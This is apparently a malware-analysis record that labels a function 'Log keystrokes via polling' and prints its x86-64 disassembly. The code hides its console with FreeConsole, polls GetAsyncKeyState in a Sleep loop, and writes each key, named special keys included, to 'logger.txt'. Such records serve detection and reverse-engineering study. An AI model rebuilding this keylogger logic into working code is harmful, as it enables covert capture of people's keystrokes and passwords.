Function at 0x1400d8148
Capabilities:
Log keystrokes via polling

Disassembly:
jmp 0x1400f3ea0
push rbp
push rdi
sub rsp, 0x248
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x56
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1402ee180]
xor rax, rbp
mov qword [rbp + 0x208], rax
lea rcx, [0x14030c24e]
call fcn.1400dbb3b
nop
call qword [sym.imp.KERNEL32.dll_FreeConsole]
nop
mov edx, 0x108
lea rcx, [rbp + 0x10]
call fcn.1400d842c
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.logger.txt
lea rcx, [rbp + 0x10]
call fcn.1400d8396
nop
xor eax, eax
cmp eax, 1
je 0x1400f41be
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov byte [rbp + 0x134], 8
jmp 0x1400f3f47
movzx eax, byte [rbp + 0x134]
inc al
mov byte [rbp + 0x134], al
movsx eax, byte [rbp + 0x134]
cmp eax, 0xff
jg 0x1400f41b9
movsx eax, byte [rbp + 0x134]
mov ecx, eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
cmp eax, 0xffff8001
jne 0x1400f41aa
movsx eax, byte [rbp + 0x134]
mov dword [rbp + 0x204], eax
mov eax, dword [rbp + 0x204]
sub eax, 8
mov dword [rbp + 0x204], eax
cmp dword [rbp + 0x204], 0x54
ja case.0x1400f3fbd.22
movsxd rax, dword [rbp + 0x204]
lea rcx, [0x140000000]
movzx eax, byte [rcx + rax + 0xf4250]
mov eax, dword [rcx + rax*4 + 0xf41f4]
add rax, rcx
jmp rax
lea rdx, str._BACKSPACE_
lea rcx, [rbp + 0x10]
call fcn.1400d6a00
nop
jmp 0x1400f41aa
lea rdx, str._TAB_
lea rcx, [rbp + 0x10]
call fcn.1400d6a00
nop
jmp 0x1400f41aa
lea rdx, str._ENTER_
lea rcx, [rbp + 0x10]
call fcn.1400d6a00
nop
jmp 0x1400f41aa
lea rdx, str._SHIFT_
lea rcx, [rbp + 0x10]
call fcn.1400d6a00
nop
jmp 0x1400f41aa
lea rdx, str._CONTROL_
lea rcx, [rbp + 0x10]
call fcn.1400d6a00
nop
jmp 0x1400f41aa
lea rdx, str._ALT_
lea rcx, [rbp + 0x10]
call fcn.1400d6a00
nop
jmp 0x1400f41aa
lea rdx, str._CAPS_LOCK_
lea rcx, [rbp + 0x10]
call fcn.1400d6a00
nop
jmp 0x1400f41aa
lea rdx, str._ESCAPE_
lea rcx, [rbp + 0x10]
call fcn.1400d6a00
nop
jmp 0x1400f41aa
lea rdx, str._LEFT_WINDOWS_
lea rcx, [rbp + 0x10]
call fcn.1400d6a00
nop
jmp 0x1400f41aa
lea rdx, str._RIGHT_WINDOWS_
lea rcx, [rbp + 0x10]
call fcn.1400d6a00
nop
jmp 0x1400f41aa
lea rdx, str._SPACE_
lea rcx, [rbp + 0x10]
call fcn.1400d6a00
nop
jmp 0x1400f41aa
lea rdx, str._PAGE_UP_
lea rcx, [rbp + 0x10]
call fcn.1400d6a00
nop
jmp 0x1400f41aa
lea rdx, str._PAGE_DOWN_
lea rcx, [rbp + 0x10]
call fcn.1400d6a00
nop
jmp 0x1400f41aa
lea rdx, str._END_
lea rcx, [rbp + 0x10]
call fcn.1400d6a00
nop
xor ecx, ecx
call fcn.1400d66ef
nop
jmp 0x1400f41aa
lea rdx, str._HOME_
lea rcx, [rbp + 0x10]
call fcn.1400d6a00
nop
jmp 0x1400f41aa
lea rdx, str._LEFT_ARROW_
lea rcx, [rbp + 0x10]
call fcn.1400d6a00
nop
jmp 0x1400f41aa
lea rdx, str._UP_ARROW_
lea rcx, [rbp + 0x10]
call fcn.1400d6a00
nop
jmp 0x1400f41aa
lea rdx, str._RIGHT_ARROW_
lea rcx, [rbp + 0x10]
call fcn.1400d6a00
nop
jmp 0x1400f41aa
lea rdx, str._DOWN_ARROW_
lea rcx, [rbp + 0x10]
call fcn.1400d6a00
nop
jmp 0x1400f41aa
lea rdx, str._PRINT_SCREEN_
lea rcx, [rbp + 0x10]
call fcn.1400d6a00
nop
jmp 0x1400f41aa
lea rdx, str._INSERT_
lea rcx, [rbp + 0x10]
call fcn.1400d6a00
nop
jmp 0x1400f41aa
lea rdx, str._DELETE_
lea rcx, [rbp + 0x10]
call fcn.1400d6a00
nop
jmp 0x1400f41aa
movzx edx, byte [rbp + 0x134]
lea rcx, [rbp + 0x10]
call fcn.1400da3ee
nop
lea rcx, [rbp + 0x10]
call fcn.1400d6285
nop
jmp 0x1400f3f38
jmp 0x1400f3f18
lea rcx, [rbp + 0x10]
call fcn.1400d768f
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x14029afe0]
call fcn.1400dab55
mov rcx, qword [rbp + 0x208]
xor rcx, rbp
call fcn.1400d8bfc
lea rsp, [rbp + 0x218]
pop rdi
pop rbp
ret